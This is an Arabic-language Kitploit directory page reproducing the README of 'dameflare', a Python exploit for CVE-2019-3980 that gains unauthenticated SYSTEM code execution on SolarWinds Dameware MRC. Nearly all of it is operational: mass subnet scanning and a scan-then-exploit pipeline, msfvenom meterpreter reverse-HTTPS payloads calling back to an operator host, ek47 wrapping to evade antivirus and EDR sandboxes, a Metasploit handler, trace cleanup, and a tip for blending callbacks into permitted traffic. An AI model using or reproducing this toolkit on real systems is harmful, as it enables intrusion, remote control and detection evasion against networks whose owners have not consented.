Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
dameflare — استغلال بلغة Python 3 لثغرة CVE-2019-3980. تنفيذ أوامر عن بعد غير مصادق عليه بصلاحيات SYSTEM عبر تجاوز مصادقة البطاقة الذكية في SolarWinds Dameware MRC. | Kitploit
أدوات/GitHubGitHub/boydhacks/dameflare
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتوليد شيفرة القشرة
GitHubboydhacks/dameflare

dameflare

استغلال بلغة Python 3 لثغرة CVE-2019-3980. تنفيذ أوامر عن بعد غير مصادق عليه بصلاحيات SYSTEM عبر تجاوز مصادقة البطاقة الذكية في SolarWinds Dameware MRC.

31منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

DameFlare

DameFlare

Python CVE CVSS Platform

تنفيذ تعليمات برمجية عن بعد غير مصرح به عبر تجاوز مصادقة البطاقة الذكية في SolarWinds Dameware MRC

CVE-2019-3980 | CVSS 9.8 حرج | TCP/6129 البحث الأصلي وإثبات المفهوم: Tenable, Inc. (TRA-2019-43) أداة Python 3: David Boyd (@Fir3d0g)


كيف يعمل

يكشف Dameware MRC عن خدمة تحكم عن بعد (DWRCS.exe) على TCP/6129. أثناء المصافحة الخاصة بمصادقة البطاقة الذكية، يقبل الخادم ملفًا يتحكم به المهاجم كمثبت برنامج تشغيل البطاقة الذكية (dwDrvInst.exe) وينفذه بصلاحيات SYSTEM، دون الحاجة إلى أي مصادقة.

يقوم DameFlare بتنفيذ المصافحة الكاملة للبروتوكول (التفاوض على الإصدار ← اشتقاق مفتاح AES ← تبادل مفاتيح Diffie-Hellman ← توقيع RSA ← تحميل برنامج التشغيل) لتوصيل حمولة عشوائية وتحقيق تنفيذ تعليمات برمجية عن بعد بدون مصادقة.


الإصدارات المتأثرة

المنتجمعرض للخطرتم الإصلاح
Dameware MRC 12.0.xجميع الإصداراتHotfix 1
Dameware MRC 12.1.xجميع الإصداراتHotfix 3

التثبيت

root@kitploit:~
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h

الاستخدام

هدف واحد

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15

أهداف متعددة

root@kitploit:~
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

وضع المسح

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt

خط أنابيب المسح والاستغلال

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

التنظيف

إزالة الأثر dwDrvInst.exe من الهدف بعد الاستغلال:

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup

يتطلب وجود msfvenom في PATH. يقوم بتحميل ملف EXE يحذف نفسه ويزيل dwDrvInst.exe بعد تأخير قصير.

بدلاً من ذلك، إذا كانت لديك بيانات اعتماد، يمكنك استخدام شيء مثل NXC:

root@kitploit:~
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"

مثال على توليد الحمولة (قم بتغليفها بشيء مثل ek47 أولاً)

شيلكود خام

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin

ملف EXE 32-بت

root@kitploit:~
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe

ملف EXE 64-بت

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe

تجنب الحمولة (ek47)

قم بتغليف الشيلكود الخام بمفاتيح بيئية لتجنب تحليل صندوق الرمل لمكافحة الفيروسات/اكتشاف نقطة النهاية والاستجابة. لن تقوم الحمولة بفك التشفير والتنفيذ إلا على جهاز تتطابق فيه المفاتيح. شكر كبير لـ Kevin Clark (@GuhnooPlusLinux) على عمله الرائع!

https://gitlab.com/KevinJClark/ek47

root@kitploit:~
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe

# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe

# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode   -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

خط أنابيب كامل (مثال)

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe

معالج Metasploit

root@kitploit:~
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"

ملاحظة: يجب أن يتطابق اسم الحمولة تمامًا بين msfvenom والمعالج:

  • بدون مراحل: windows/x64/meterpreter_reverse_https (شرطة سفلية)
  • مع مراحل: windows/x64/meterpreter/reverse_https (شرطة مائلة)

نصيحة: في بيئات Dameware، غالبًا ما يُسمح بالمنفذ 6129 في الاتصالات الصادرة ويندمج مع حركة مرور DWRCS المشروعة. إذا كان المنفذ 443 محظورًا أو تم فحصه بواسطة وكيل، جرب LPORT=6129 حيث من المرجح أن الشبكة المستهدفة صُممت للسماح به.


إخلاء مسؤولية

هذه الأداة مخصصة للاستخدام في اختبار الاختراق المرخص وعمليات الفريق الأحمر فقط. لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو غير القانوني.

تنزيل الأداة